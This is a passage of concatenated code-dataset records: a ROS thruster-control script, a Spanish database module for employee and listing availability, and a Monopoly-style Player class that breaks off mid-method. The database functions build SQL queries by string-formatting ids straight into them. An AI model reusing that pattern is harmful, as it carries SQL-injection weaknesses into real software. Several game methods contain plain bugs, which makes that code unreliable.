#rospy.logwarn(self.powerL)\n\n def move_thrusters(self,powerR=1500, powerL=1500):\n #validate the pwm range\n if powerR < 1100 or powerR > 1900 or powerL < 1100 or powerL > 1900:\n rospy.logwarn(\"Thruster power must be between 1100 - 1900\")\n else:\n pwmR = powerR\n pwmL = powerL\n self.r_pwm_pub.publish(pwmR)\n self.l_pwm_pub.publish(pwmL)\n\n def newtons(self, powerR=0, powerL=0):\n #validate the Newtons range\n if (powerR < -30 or powerR > 36.5 or powerL < -30 or powerL > 36.5):\n rospy.logwarn(\"Saturation range\")\n realPowerValueR = powerR * 0.5\n realPowerValueL = powerL * 0.5\n\n else:\n if (powerR >= 0):\n realPowerValueR = round((powerR / 36.5 * 385)+1515)\n elif (powerR < 0):\n realPowerValueR = round((powerR / 30 * 385)+1485)\n if (powerL <= 0):\n realPowerValueL = round((powerL / 30 * 385)+1485)\n elif(powerL > 0):\n realPowerValueL = round((powerL / 36.5 * 385)+1515)\n\n self.move_thrusters(realPowerValueR,realPowerValueL)\n #print('moving')\n\n def run(self, powerR = 0, powerL = 0):\n self.newtons(powerR, powerL)\n\ndef main():\n rospy.init_node('ardumotors', anonymous=True)\n rate = rospy.Rate(250) # 100hz\n m = Motors()\n while not rospy.is_shutdown() and m.thrust:\n #if m.thrust:\n m.run(m.powerR, m.powerL)\n rate.sleep()\n rospy.spin()\n\nif __name__ == \"__main__\":\n try:\n main()\n except rospy.ROSInterruptException:\n pass","sub_path":"scripts/ardumotors.py","file_name":"ardumotors.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"287244467","text":"class Disponibilidad:\r\n\r\n def __init__(self, pId=None, pDescripcion=None):\r\n self.id = pId\r\n self.descripcion = pDescripcion\r\n\r\n def __getitem__(self, item):\r\n return self.__dict__[item]\r\n\r\n def __str__(self):\r\n return 'Descripción: {}'.format(self.descripcion)\r\n\r\n\r\ndef getDisponibilidadesRegistradas(bd):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('SELECT id, descripcion FROM disponibilidad')\r\n retorno = cursor.fetchall()\r\n bd.connection.commit()\r\n cursor.close()\r\n disponibilidades = list()\r\n for tuplaDisponibilidad in retorno:\r\n disponibilidad = Disponibilidad(\r\n tuplaDisponibilidad[0], tuplaDisponibilidad[1])\r\n disponibilidades.append(disponibilidad)\r\n return disponibilidades\r\n except Exception as e:\r\n print(\"Error en getDisponibilidadesRegistradas \", e)\r\n\r\n\r\ndef agregarDisponibilidadEmpleado(bd, id_disponibilidad, id_empleado):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('INSERT INTO empleado_disponibilidad (id_empleado, id_disponibilidad) VALUES ({}, {})'.format(\r\n id_empleado, id_disponibilidad))\r\n bd.connection.commit()\r\n cursor.close()\r\n #print('Disponibilidad \"', id_disponibilidad, '\" agregada en el empleado')\r\n except Exception as e:\r\n print(\"Error en agregarDisponibilidadEmpleado \", e)\r\n\r\n\r\ndef quitarDisponibilidadEmpleado(bd, id_disponibilidad, id_empleado):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('DELETE FROM empleado_disponibilidad WHERE id_empleado = {} AND id_disponibilidad = {}'.format(\r\n id_empleado, id_disponibilidad))\r\n bd.connection.commit()\r\n cursor.close()\r\n #print('Disponibilidad quitada del empleado')\r\n except Exception as e:\r\n print(\"Error en quitarDisponibilidadEmpleado \", e)\r\n\r\n\r\ndef quitarTodaLaDisponibilidadDelEmpleado(bd, id_empleado):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute(\r\n 'DELETE FROM empleado_disponibilidad WHERE id_empleado = {}'.format(id_empleado))\r\n bd.connection.commit()\r\n cursor.close()\r\n #print('Toda disponibilidad quitada del empleado')\r\n except Exception as e:\r\n print(\"Error en quitarTodaLaDisponibilidadDelEmpleado \", e)\r\n\r\n\r\ndef agregarDisponibilidadAnuncio(bd, id_disponibilidad, id_anuncio):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('INSERT INTO anuncio_disponibilidad (id_anuncio, id_disponibilidad) VALUES ({}, {})'.format(\r\n id_anuncio, id_disponibilidad))\r\n bd.connection.commit()\r\n cursor.close()\r\n #print('Disponibilidad \"', id_disponibilidad, '\" agregada en el anuncio')\r\n except Exception as e:\r\n print(\"Error en agregarDisponibilidadAnuncio \", e)\r\n\r\n\r\ndef quitarDisponibilidadAnuncio(bd, id_disponibilidad, id_anuncio):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('DELETE FROM anuncio_disponibilidad WHERE id_anuncio = {} AND id_disponibilidad = {}'.format(\r\n id_anuncio, id_disponibilidad))\r\n bd.connection.commit()\r\n cursor.close()\r\n #print('Disponibilidad quitada del anuncio')\r\n except Exception as e:\r\n print(\"Error en quitarDisponibilidadAnuncio \", e)\r\n\r\n\r\ndef quitarTodaLaDisponibilidadDelAnuncio(bd, id_anuncio):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute(\r\n 'DELETE FROM anuncio_disponibilidad WHERE id_anuncio = {}'.format(id_anuncio))\r\n bd.connection.commit()\r\n cursor.close()\r\n #print('Toda disponibilidad quitada del anuncio')\r\n except Exception as e:\r\n print(\"Error en quitarTodaLaDisponibilidadDelAnuncio \", e)\r\n","sub_path":"Implementacion/Disponibilidad.py","file_name":"Disponibilidad.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"512938387","text":"from Board import *\nfrom Bank import *\nfrom Title import Property, Utility\nimport math \nimport util\n\nclass Player():\n #Dual means both Regular and Banker, used only if there are less than 5 players; Bank can be automated\n #PLAYER_TITLES = [\"Regular\", \"Banker/Auctioneer\", \"Dual\"] \n\n PLAYER_MINIMUM = 2\n PLAYER_MAXIMUM = 8\n \n def __init__(self, id, name):\n self.id = id #Identification Number\n self.name = name #Name of player\n self.money = 0 #Cash on hand\n self.position = 0 #Position ranges from 0 - 40 (for game's 41 spaces) - Start at \"Go\" tile\n self.bankrupt = False #Bankrupt status\n \n self.inJail = False #Check if user is in jail \n self.jail_cards = [] #Jail cards in possession\n self.jail_turns = 0 #Number of remaining turns in jail\n\n self.debt = [] #Records of debts - money owned to other players \n\n self.consecutiveDoubles = 0 #Start with no doubles \n self.order = None #Determine the order of play in game - default is None. \n\n self.titleDeeds = [] #Start with no title deeds owned\n self.propertyOwned = 0 #Number of properties owned \n self.colorMonopoly = [] #List of color group monopolies owned \n self.utilityOwned = 0 #Number of utilities owned\n self.transportsOwned = 0 #Number of transports owned\n\n self.num_homes = 0 #Number of homes in total \n self.num_hotels = 0 #Number of hotels in total \n\n\n #Get the id of user\n def getuserID(self): \n return self.id \n \n #Get the name of user\n def getName(self): \n return self.name \n\n #Get the monetary value of the player\n def getMonetaryValue(self): \n return self.money \n \n #Add money to or subtract money from player\n def changeMonetaryValue(self, amount): \n self.money += amount\n \n #Get the position of the player on the board\n def getPosition(self): \n return self.position \n\n #Set the position of player on board\n def setPosition(self, position): \n self.position = position \n\n #Get the order of play of player\n def getOrder(self):\n return self.order \n\n #Set the order of play for player\n def setOrder(self, order): \n self.order = order \n \n #Get the list of properties of player\n def getTitleDeeds(self): \n return self.titleDeeds\n \n #Add a title deed to the player's list of possessions\n def addTitleDeed(self, titleDeed, mortgaged = False): \n titleType = titleDeed.getTitleType()\n titleName = titleDeed.getName()\n\n if (titleType == \"Property\"): \n self.titleDeeds.append({\"Title Deed\": titleDeed, \"Mortgaged\": mortgaged, \"Houses\": 0, \"Hotels\": 0, \"Color Group\": titleDeed.getColorGroup()})\n self.propertyOwned += 1\n \n #Check if adding the property means the player has a monopoly\n colorGroupName = titleDeed.getColorGroup() \n colorGroupList = Property.getColorGroup(colorGroupName)\n\n createMonopoly = True\n for propertyItem in colorGroupList:\n if (propertyItem == titleName):\n #Property item refers to the title deed being added \n continue\n for titleDeed in self.titleDeeds:\n titleDeedInList = False \n\n if (propertyItem == titleDeed[\"Title Deed\"].getName()): \n titleDeedInList = True \n \n if (not titleDeedInList): \n #If given property item is not part of the owner's list of title deeds, the new item would not result in a monopoly\n createMonopoly = False\n break\n\n if (createMonopoly): \n self.colorMonopoly.append({\"Color Group\": colorGroupName, \"Number Houses Built\": 0, \"Number Hotels Built\": 0})\n\n elif (titleType == \"Utility\"):\n self.titleDeeds.append({\"Title Deed\": titleDeed, \"Mortgaged\": mortgaged, \"Houses\": None, \"Hotels\": None, \"Color Group\": None}) \n self.utilityOwned += 1\n elif(titleType == \"Transports\"): \n self.titleDeeds.append({\"Title Deed\": titleDeed, \"Mortgaged\": mortgaged, \"Houses\": None, \"Hotels\": None, \"Color Group\": None}) \n self.transportsOwned += 1\n \n #Remove a title deed from a player's list of possessions \n def removeTitleDeed(self, titleDeedName): \n titleDeedCard = None \n record = None \n\n #Remove the title deed from the list\n for titleDeed in self.titleDeeds: \n if titleDeed[\"Title Deed\"].getName() == titleDeedName:\n titleDeedCard = titleDeed[\"Title Deed\"]\n record = self.titleDeeds.remove(titleDeed)\n \n #Reduce the number of properties owned by this player\n if (titleDeedCard.getTitleType() == \"Property\"): \n colorGroup = titleDeedCard.getColorGroup()\n\n #Check if removing property would result in player to lose monopoly\n #This already assumes the color group has no property already\n monopolyList = self.getColorMonopoly() \n\n #If color group is in the monopoly list, the property being removed results in monopoly loss\n if (colorGroup in monopolyList): \n for monopolyItem in monopolyList:\n if (monopolyItem[\"Color Group\"] == colorGroup): \n monopolyList.remove(monopolyItem)\n\n self.propertyOwned -= 1 \n elif (titleDeedCard.getTitleType() == \"Utility\"):\n self.utilityOwned -= 1\n elif (titleDeedCard.getTitleType() == \"Transports\"): \n self.transportsOwned -= 1\n\n return titleDeedCard\n\n def getPropertyOwned(self): \n return self.propertyOwned\n \n def getColorMonopoly(self):\n return self.colorMonopoly\n \n def getUtilityOwned(self):\n return self.utilityOwned\n \n def getTransportsOwned(self):\n return self.transportsOwned\n\n #Get total number of homes owned\n def getNumHomes(self): \n return self.num_homes\n \n #Get total number of hotels owned \n def getNumHotels(self): \n return self.num_hotels \n\n #Get the status of player in jail\n def getInJailStatus(self):\n return self.inJail\n \n #Set the in jail status\n def setInJailStatus(self, status): \n self.inJail = status\n\n #Add a jail-free card to player's possession\n def addEscapeJailCard(self, card): \n self.jail_cards.append(card)\n\n #Remove a jail-free card from player's possession, starting with the most recent card first\n def removeEscapeJailCard(self):\n card = self.jail_cards.pop()\n return card\n \n #Check if there are jail cards available \n def jailCardsAvailable(self): \n if (len(self.jail_cards) > 0): \n return True\n \n return False\n\n #Get the current number of jail turns\n def getJailTurns(self): \n return self.jail_turns\n \n #Set the number of jail turns\n def setJailTurns(self, turns): \n self.jail_turns = turns\n \n #Subtract the number of jail turns\n def subtractJailTurns(self): \n self.jail_turns -= 1\n\n #Get the bankrupt status\n def getBankruptStatus(self):\n return self.bankrupt\n \n #Set the bankrupt status\n def setBankruptStatus(self, status = False): \n self.bankrupt = status\n\n #Get the debt records of player\n def getDebtRecord(self): \n return self.debt\n \n #Set the debt records of player\n def addDebtRecord(self, playerName, amount): \n #Check if there is an existing debt to that player, and if so update record\n existingRecord = False \n \n #If there is existing debt, just increase debt amount. \n for debtRecord in self.debt: \n if (debtRecord[\"Player\"] == playerName):\n debtRecord[\"Debt Owned\"] = debtRecord[\"Debt Owned\"] + amount\n existingRecord = True\n \n #If there is no record, add new debt to record \n if (not existingRecord): \n self.debt.append({\"Player\": playerName, \"Debt Owned\": amount})\n \n #Reduce debt records of player (if reducing debt)\n def reduceDebt(self, playerName, amount): \n \n #Search for the player to update debt or remove record altogether\n for debtRecord in self.debt: \n if (debtRecord[\"Player\"] == playerName):\n debtRecord[\"Debt Owned\"] = debtRecord[\"Debt Owned\"] - amount\n \n #Should the debt amount reaches below or at zero, remove record\n if (debtRecord[\"Debt Owned\"] <= 0):\n self.debt.remove(debtRecord) \n\n \"\"\"Methods associated with the player interacting in the game \"\"\"\n #Move the player across the board when it is their turn \n def move(self, moveNum, dice, bank = None):\n #TODO: Add logic regarding if user has jail-free cards or has money to self-bail \n if (self.jail_turns > 0):\n return 0\n\n #Check if player rolled doubles \n if dice.getDoubleStatus(): \n self.consecutiveDoubles += 1\n\n #Check if user goes to jail if 3 doubles in a row\n if self.consecutiveDoubles >= 3: \n self.setInJailStatus(True)\n self.setPosition(Board.TILES_JAIL[0])\n self.consecutiveDoubles = 0 \n\n #Reset the dice double status\n dice.resetDoubleStatus()\n\n return #If going to jail, end the turn right here\n\n else: \n #Reset consecutive doubles if different numbers are rolled\n self.consecutiveDoubles = 0 \n \n #Calculate new position of player\n newPosition = self.getPosition() + moveNum \n \n #Add one to position if went past jail, assuming player was starting next to jail at minimum.\n #Number 35 is the highest possible new position if user rolled doubles twice and was closest to jail by one spot\n if (newPosition >= Board.TILES_JAIL[0] and newPosition < 35) and (self.getPosition() < Board.TILES_JAIL[0] or self.getPosition() > 35):\n newPosition += 1\n\n #Check if player has cycled through the board, assuming player does not go to jail directly\n if (newPosition > len(Board.TILES_LIST)):\n newPosition -= len(Board.TILES_LIST)\n \n #Collect more money by passing GO\n self.changeMonetaryValue(Bank.PASS_GO)\n if (bank != None): \n bank.subtract(Bank.PASS_GO)\n \n #Apply new position \n self.setPosition(newPosition)\n \n #Read and do the chance card \n def doChanceCard(self, card, board, bank):\n #Get user's position \n position = self.getPosition() \n\n #Get the type of chance card and the associated value\n cardKind = card.getKind()\n cardValue = card.getValue() \n\n #Do actions based on chance card \n if cardKind == \"Advance\":\n #Record user was on this space first\n board.hit(position)\n\n #Read the values, and do the actions based on the value\n if cardValue == \"Go\": \n self.setPosition(Board.TILES_GO[0])\n\n #Collect money\n self.changeMonetaryValue(Bank.PASS_GO)\n bank.subtract(Bank.PASS_GO)\n\n elif cardValue == \"Utility\":\n #Keep track if nearest utility is found \n found = False \n newPositionUtility = None\n\n #Go to the nearest utility\n for posUtil in Board.TILES_UTILITY: \n if position < posUtil: \n newPositionUtility = posUtil\n found = True\n break \n \n #If not nearest utility found, go to first utility. \n #Note it may be possible that user does not collect cash if passing Go\n if not found:\n newPositionUtility = Board.TILES_UTILITY[0]\n\n #If player would cycle the board, re-calibrate the position number and collect 200 if necessary\n if (newPositionUtility < position):\n #Collect more money by passing GO\n self.changeMonetaryValue(Bank.PASS_GO)\n bank.subtract(Bank.PASS_GO)\n\n self.setPosition(newPositionUtility)\n \n elif cardValue == \"Transports\":\n #Keep track if nearest transports is found \n found = False \n newPositionTransports = None\n\n #Go to the nearest transport\n for posTransports in Board.TILES_TRANSPORTS: \n if position < posTransports: \n newPositionTransports = posTransports\n found = True\n break \n \n #If not nearest utility found, go to first transports. \n #Note it may be possible that user does not collect cash if passing Go\n if not found:\n newPositionTransports = Board.TILES_TRANSPORTS[0]\n \n #If player would cycle the board, re-calibrate the position number and collect 200 if necessary\n if (newPositionTransports < position):\n #Collect more money by passing GO\n self.changeMonetaryValue(Bank.PASS_GO)\n bank.subtract(Bank.PASS_GO)\n\n self.setPosition(newPositionTransports)\n \n elif cardValue <= 0: \n #If negative, this means player must go back\n newPosition = position + cardValue \n self.setPosition(newPosition)\n\n elif cardValue == \"Go to Jail\": \n #Player goes to jail directly, do not collect amount of passing GO\n self.setInJailStatus(True)\n self.setPosition(Board.TILES_JAIL[0])\n \n else: \n #If player would cycle the board, re-calibrate the position number and collect 200 if necessary\n if (cardValue < position):\n #Collect more money by passing GO\n self.changeMonetaryValue(Bank.PASS_GO)\n bank.subtract(Bank.PASS_GO)\n \n #Set new position\n self.setPosition(cardValue)\n\n elif cardKind == \"Credit\": \n bank.subtract(cardValue)\n self.changeMonetaryValue(cardValue)\n elif cardKind == \"Debit\": \n self.changeMonetaryValue(cardValue) \n bank.add(abs(cardValue))\n elif cardKind == \"Debit Complex\": \n #debit from each home and hotel \n numHomePay = cardValue[0] * self.getNumHomes()\n numHotelPay = cardValue[1] * self.getNumHotels() \n \n #Debit the amount from player \n self.changeMonetaryValue(numHomePay + numHotelPay)\n\n #Add the amount to the bank \n bank.add(abs(numHomePay + numHotelPay))\n elif cardKind == \"Escape Jail\":\n self.addEscapeJailCard(card)\n \n #Read and do the community card \n def doCommunityCard(self, card, board, bank):\n #Get user's position \n position = self.getPosition() \n\n #Get the type of chance card and the associated value\n cardKind = card.getKind()\n cardValue = card.getValue() \n\n #Do actions based on community card \n if cardKind == \"Advance\": \n #Record user was on this space first\n board.hit(position)\n\n #Read the values, and do the actions based on the value\n if cardValue == \"Go\": \n self.setPosition(Board.TILES_GO[0])\n \n #Collect money\n self.changeMonetaryValue(Bank.PASS_GO)\n bank.subtract(Bank.PASS_GO)\n\n elif cardValue == \"Go to Jail\": \n print(\"You have been sent to jail.\")\n self.setInJailStatus(True)\n self.setPosition(Board.TILES_JAIL[0])\n \n elif cardKind == \"Credit\": \n bank.subtract(cardValue)\n self.changeMonetaryValue(cardValue)\n elif cardKind == \"Debit\": \n self.changeMonetaryValue(cardValue) \n bank.add(abs(cardValue))\n elif cardKind == \"Debit Complex\": \n #debit from each home and hotel \n numHomePay = cardValue[0] * self.getNumHomes()\n numHotelPay = cardValue[1] * self.getNumHotels() \n \n #Debit the amount from player \n self.changeMonetaryValue(numHomePay + numHotelPay)\n\n #Add the amount to the bank \n bank.add(abs(numHomePay + numHotelPay)) \n elif cardKind == \"Escape Jail\":\n self.addEscapeJailCard(card)\n\n #User pays tax if lands on a tax tile\n def payTax(self, bank): \n #Get position of player to get tax type, and create value to hold tax amount\n position = self.getPosition()\n taxCharged = 0 \n \n #Get the type of tax \n if (Board.TILES_LIST[position] == \"Income Tax\"):\n taxCharged = Bank.INCOME_TAX\n elif (Board.TILES_LIST[position] == \"Luxury Tax\"):\n taxCharged = Bank.LUXURY_TAX\n\n #Check current amounts of player before paying tax\n monetaryAmount = self.getMonetaryValue() \n newPossibleMonetaryAmount = monetaryAmount - abs(taxCharged)\n \n #Check if the player already has no money currently\n if (monetaryAmount <= 0): \n #Record the amount of money owned to the bank\n self.addDebtRecord(\"Bank\", abs(taxCharged))\n\n #Check if the new monetary value causes player to go below zero. If so, the remaining amount must be recorded as debt\n elif (newPossibleMonetaryAmount < 0): \n #Make payment that can be paid now \n payableNow = newPossibleMonetaryAmount + abs(taxCharged)\n self.changeMonetaryValue(-1 * payableNow)\n bank.add(abs(payableNow))\n\n #Add the amount to debt record\n amountDebt = newPossibleMonetaryAmount\n self.addDebtRecord(\"Bank\", amountDebt)\n else: \n #If sufficient amount, pay the tax to the bank\n #Tax the player, and add the money to bank\n self.changeMonetaryValue(taxCharged)\n bank.add(abs(taxCharged))\n\n #Options to escape jail - Note player can collect rent (provided not mortgaged) or make changes to the title deeds\n def escapeJailOptions(self, bank, dice): \n #Return the Get Out of Jail Free card to the deck in game if used \n card = None\n validOptionSelected = False\n\n jailMessage = \"You are currently in jail, and you have \" + str(self.getJailTurns()) + \" left in jail.\" + \"\\nYou do have the following options if you wish to get out of jail early.\" + \"\\n1. Pay 50 dollar fine - Type 'Pay 50' to use this option.\" + \"\\n2. Roll a double - Type 'Roll Dice' to use this option.\"\n \n if (self.jailCardsAvailable()): \n jailMessage += \"\\n3. Use a get out of jail free card - Type 'Jail Free Card' to use this option.\"\n \n while (not validOptionSelected): \n print(jailMessage)\n jailOption = input(\"Select an option based on the options listed.\") #This needs to be validated\n \n #Pay 50 fine, user may not go forward until the next turn\n if (jailOption == \"Pay 50\"): \n #User must have sufficient funds to pay the bank \n if (self.getMonetaryValue() > 0):\n self.changeMonetaryValue(-1 * Bank.JAIL_PAYMENT)\n bank.add(Bank.JAIL_PAYMENT)\n\n #Reset the statuses \n self.setInJailStatus(False)\n self.setJailTurns(0)\n\n #Player goes to just visiting jail \n self.setPosition(Board.TILES_LIST[\"Just Visiting\"])\n\n validOptionSelected = True\n else: \n print(\"You do not have sufficient funds to get out of jail.\")\n\n #Use get out of jail free card\n elif (jailOption == \"Jail Free Card\" and self.jailCardsAvailable()): \n card = self.removeEscapeJailCard() \n\n #Reset the statuses \n self.setInJailStatus(False)\n self.setJailTurns(0)\n\n #Player goes to just visiting jail \n self.setPosition(Board.TILES_LIST[\"Just Visiting\"])\n\n validOptionSelected = True\n \n #Roll a double\n elif (jailOption == \"Roll Dice\"):\n total = dice.rollDice()\n\n #If player rolls a double \n if (dice.getDoubleStatus()):\n #Advance to the tile according to your roll\n #Calculate new position of player\n newPosition = self.getPosition() + total\n\n #Apply new position \n self.setPosition(newPosition)\n\n #Reset the statuses \n self.setInJailStatus(False)\n self.setJailTurns(0)\n\n #Reset the double status - user does not do another dice roll\n dice.resetDoubleStatus()\n\n validOptionSelected = True\n else: \n print(\"You did not roll a double.\") \n\n #Reduce one jail turn \n self.subtractJailTurns()\n\n #If this results in no more jail turns left, player must pay 50. If so reset statuses. \n if (self.getInJailStatus() == 0):\n print(\"\\nYou may now escape jail as a result, but you must pay 50 to the bank.\")\n self.changeMonetaryValue(-1 * Bank.JAIL_PAYMENT)\n bank.add(Bank.JAIL_PAYMENT)\n #Reset the statuses \n self.setInJailStatus(False)\n self.setJailTurns(0)\n self.setPosition(Board.TILES_LIST[\"Just Visiting\"])\n \n #By virtue, valid option does not need to be selected\n validOptionSelected = True\n else: \n print(\"Currently, you must remain in jail.\")\n else:\n if (jailOption == \"Jail Free Card\"): \n print(\"You do not have any jail free cards you can use at this time.\")\n \n #Print message reporting user did not type in a valid response. \n print(\"You did not select a valid option to escape jail. Please try again.\")\n \n return card \n\n #User pays the rent to the other player\n #Check if the current player has run out of money but still has property - i.e. owes debt\n def payRent(self, owner, titleDeedName, boardTile, dice):\n titleDeedCard = None\n titleDeedRecord = None\n rentAmount = 0\n\n #Get the title deed information \n titleDeedsList = owner.getTitleDeeds() \n for titleDeedItem in titleDeedsList: \n if (titleDeedName == titleDeedItem[\"Title Deed\"].getName()):\n titleDeedRecord = titleDeedItem\n titleDeedCard = titleDeedItem[\"Title Deed\"]\n \n #No payment can be made given no information is available \n if (titleDeedCard == None): \n print(\"There is no title deed card information available for \" + titleDeedName)\n return \n\n #Check if the title deed is in mortgages, if so do not collect rent\n if (titleDeedRecord[\"Mortgaged\"]):\n print(\"This property \" + titleDeedCard.getName() + \" is currently mortgaged, and rent cannot be collected at this time.\") \n return #Go back to the caller function; do not collect rent\n\n #If title deed is a property, additional checking is needed to determine the rent value.\n if (boardTile == \"Property\"): \n #Check if the owner owns a monopoly - that is owns all title deeds of that color group \n colorGroup = titleDeedCard.getColorGroup() \n\n #If the owner has a monopoly on that color group\n if (colorGroup in owner.getColorMonopoly()): \n #Get the number of houses and hotels of that property\n num_Houses = titleDeedRecord[\"Houses\"]\n num_Hotels = titleDeedRecord[\"Hotels\"]\n\n if (num_Houses): \n #There is at least one house on the property\n rentAmount = titleDeedCard.getRentCosts(Property.HOMES_RENT[num_Houses - 1])\n elif (num_Hotels): \n #There may be no homes on the property, but there is a hotel \n rentAmount = titleDeedCard.getRentCosts(Property.HOTELS_COST)\n else: \n #This is an undeveloped site \n rentAmount = titleDeedCard.getRentValue() * Property.DOUBLE_RENT\n else: \n #There is no monopoly on the color group associated for that property\n rentAmount = titleDeedCard.getRentValue() \n\n #If utility, roll dice, and the rental amount based on number of utilities owned\n elif (boardTile == \"Utility\"): \n #Roll the dice\n diceRoll = dice.rollDice()\n \n #If owner has both utilities - use 10 \n if (owner.getUtilityOwned() == Utility.UTILITY_BOTH):\n rentAmount = diceRoll * titleDeedCard.getRentCosts[Utility.UTILITY_BOTH - 1] * Bank.RENT_MULTIPLIER\n else: #If owner owns this utility only - use 4\n rentAmount = diceRoll * titleDeedCard.getRentCosts[Utility.UTILITY_ONE - 1] * Bank.RENT_MULTIPLIER\n\n #If transports, calculate the rent amount based on number of transports title deeds owned by owner\n elif (boardTile == \"Transports\"):\n #Get the number of transports owned by the owner\n transportsOwned = owner.getTransportsOwned() \n\n #Calculate the rental payment\n rentAmount = titleDeedCard.getRentCosts[transportsOwned - 1] \n\n #Check current amounts of player before making rental payment \n monetaryAmount = self.getMonetaryValue() \n newPossibleMonetaryAmount = monetaryAmount - rentAmount\n \n #Check if the player already has no money currently\n if (monetaryAmount <= 0): \n #Record the amount of money owned to that player\n self.addDebtRecord(owner.getName(), rentAmount)\n\n #Since there is no tangible object of monetary value being exchanged, there is no additional debt accumulated. \n\n #Check if the new monetary value causes player to go below zero. If so, the remaining amount must be recorded as debt\n elif (newPossibleMonetaryAmount < 0): \n #Make payment that can be paid now \n payableNow = newPossibleMonetaryAmount + rentAmount\n self.changeMonetaryValue(-1 * payableNow)\n owner.changeMonetaryValue(payableNow) \n\n #Add the amount to debt record\n amountDebt = newPossibleMonetaryAmount\n self.addDebtRecord(owner.getName(), amountDebt)\n \n #If player has sufficient funds\n else: \n self.changeMonetaryValue(-1 * rentAmount)\n owner.changeMonetaryValue(rentAmount) \n\n #Check if there is any existing debt to that player, and if so reduce debt. \n debtOwned = self.getDebtRecord() \n\n for record in debtOwned: \n if (record[\"Player\"] == owner.getName()): \n self.reduceDebt(owner.getName(), rentAmount)\n \n #Reset the dice doubles\n dice.resetDoubleStatus() \n\n \"\"\"Methods associated with adding by purchasing or auctioning from the bank (or by bankruptcy of another player) \"\"\"\n #Add a title deed to player's possession (as a result of the bank)\n def acquireTitleDeed(self, titleDeed, purchaseValue, bank = None): \n #Add title deed to possession\n self.addTitleDeed(titleDeed)\n\n #Remove card from bank's possession\n if (bank != None): \n bank.removeTitleDeed(titleDeed)\n\n #Set the owner to the title deed \n titleDeed.setOwner(self.getName())\n \n #Check current amounts of player before repaying mortgage\n monetaryAmount = self.getMonetaryValue() \n newPossibleMonetaryAmount = monetaryAmount - purchaseValue\n \n #Check if the player already has no money currently\n if (monetaryAmount <= 0): \n #Record the amount of money owned to the bank\n self.addDebtRecord(\"Bank\", purchaseValue)\n\n self.changeMonetaryValue(-1 * purchaseValue)\n if (bank != None): \n bank.add(purchaseValue)\n\n #Check if the new monetary value causes player to go below zero. If so, the remaining amount must be recorded as debt (on the condition has title deeds)\n elif (newPossibleMonetaryAmount < 0): \n #Make payment that can be paid now \n payableNow = newPossibleMonetaryAmount + purchaseValue\n self.changeMonetaryValue(-1 * payableNow)\n if (bank != None): \n bank.changeMonetaryValue(payableNow) \n\n #Add the amount to debt record\n amountDebt = newPossibleMonetaryAmount\n self.addDebtRecord(\"Bank\", amountDebt)\n else: \n #If there are sufficient funds to pay mortgage w/ interest in full \n #Make the purchase\n self.changeMonetaryValue(-1 * purchaseValue)\n if (bank != None): \n bank.add(purchaseValue)\n\n #Check if there is any existing debt to the bank, and if so reduce debt. \n debtOwned = self.getDebtRecord() \n\n for record in debtOwned: \n if (record[\"Player\"] == \"Bank\"): \n self.reduceDebt(\"Bank\", purchaseValue)\n\n print(\"The title deed \" + titleDeed.getName() + \" has been added.\")\n \n \"\"\"Methods associated with existing properties or making changes including selling and mortgaging\"\"\" \n #Add a mortgage to a property\n def addMortgage(self, titleDeedName, mortgageValue, bank): \n for titleDeed in self.titleDeeds: \n if (titleDeed[\"Title Deed\"].getName() == titleDeedName): \n titleDeed[\"Mortgaged\"] = True\n \n bank.giveMortgageLoan(mortgageValue)\n self.changeMonetaryValue(mortgageValue)\n\n #Remove and repay a mortgage from a property\n def removeMortgage(self, titleDeedName, repayAmount, bank): \n for titleDeed in self.titleDeeds: \n if (titleDeed[\"Title Deed\"].getName() == titleDeedName): \n titleDeed[\"Mortgaged\"] = False\n \n #Check current amounts of player before repaying mortgage\n monetaryAmount = self.getMonetaryValue() \n newPossibleMonetaryAmount = monetaryAmount - repayAmount\n \n #Check if the player already has no money currently \n if (monetaryAmount <= 0): \n #Record the amount of money owned to the bank\n self.addDebtRecord(\"Bank\", repayAmount)\n\n #Check if the new monetary value causes player to go below zero. If so, the remaining amount must be recorded as debt\n elif (newPossibleMonetaryAmount < 0): \n #Make payment that can be paid now \n payableNow = newPossibleMonetaryAmount + repayAmount\n self.changeMonetaryValue(-1 * payableNow)\n bank.changeMonetaryValue(payableNow) \n\n #Add the amount to debt record\n amountDebt = newPossibleMonetaryAmount\n self.addDebtRecord(\"Bank\", amountDebt)\n else: \n #If there are sufficient funds to pay mortgage w/ interest in full \n self.changeMonetaryValue(-1 * repayAmount)\n bank.creditMortgagePayment(repayAmount)\n\n #Purchase a home for the property\n def purchaseHome(self, propertyName, buildingCost, bank):\n propertyFound = False\n colorGroup = None\n propertyRecord = None\n\n #Search for the property \n for titleDeed in self.titleDeeds: \n if (titleDeed[\"Title Deed\"].getName() == propertyName):\n propertyFound = True\n colorGroup = titleDeed[\"Title Deed\"].getColorGroup()\n propertyRecord = titleDeed\n \n #Add the house to the property name if found\n if (propertyFound): \n propertyRecord[\"Houses\"] = propertyRecord[\"Houses\"] + 1\n self.num_homes += 1\n \n #Add the number of houses built for that monopoly\n for monopolyColor in self.colorMonopoly:\n if (colorGroup == monopolyColor[\"Color Group\"]):\n monopolyColor[\"Number of Houses Built\"] = monopolyColor[\"Number of Houses Built\"] + 1\n\n #Check current amounts of player before repaying mortgage\n monetaryAmount = self.getMonetaryValue() \n newPossibleMonetaryAmount = monetaryAmount - buildingCost\n \n #Check if the player already has no money currently\n if (monetaryAmount <= 0): \n #Record the amount of money owned to the bank\n self.addDebtRecord(\"Bank\", buildingCost)\n\n #Make the purchase\n self.changeMonetaryValue(-1 * buildingCost) \n bank.purchaseHome(buildingCost)\n\n #Check if the new monetary value causes player to go below zero. If so, the remaining amount must be recorded as debt\n elif (newPossibleMonetaryAmount < 0): \n #Make payment that can be paid now \n payableNow = newPossibleMonetaryAmount + buildingCost\n self.changeMonetaryValue(-1 * payableNow)\n bank.purchaseHome(payableNow) \n\n #Add the 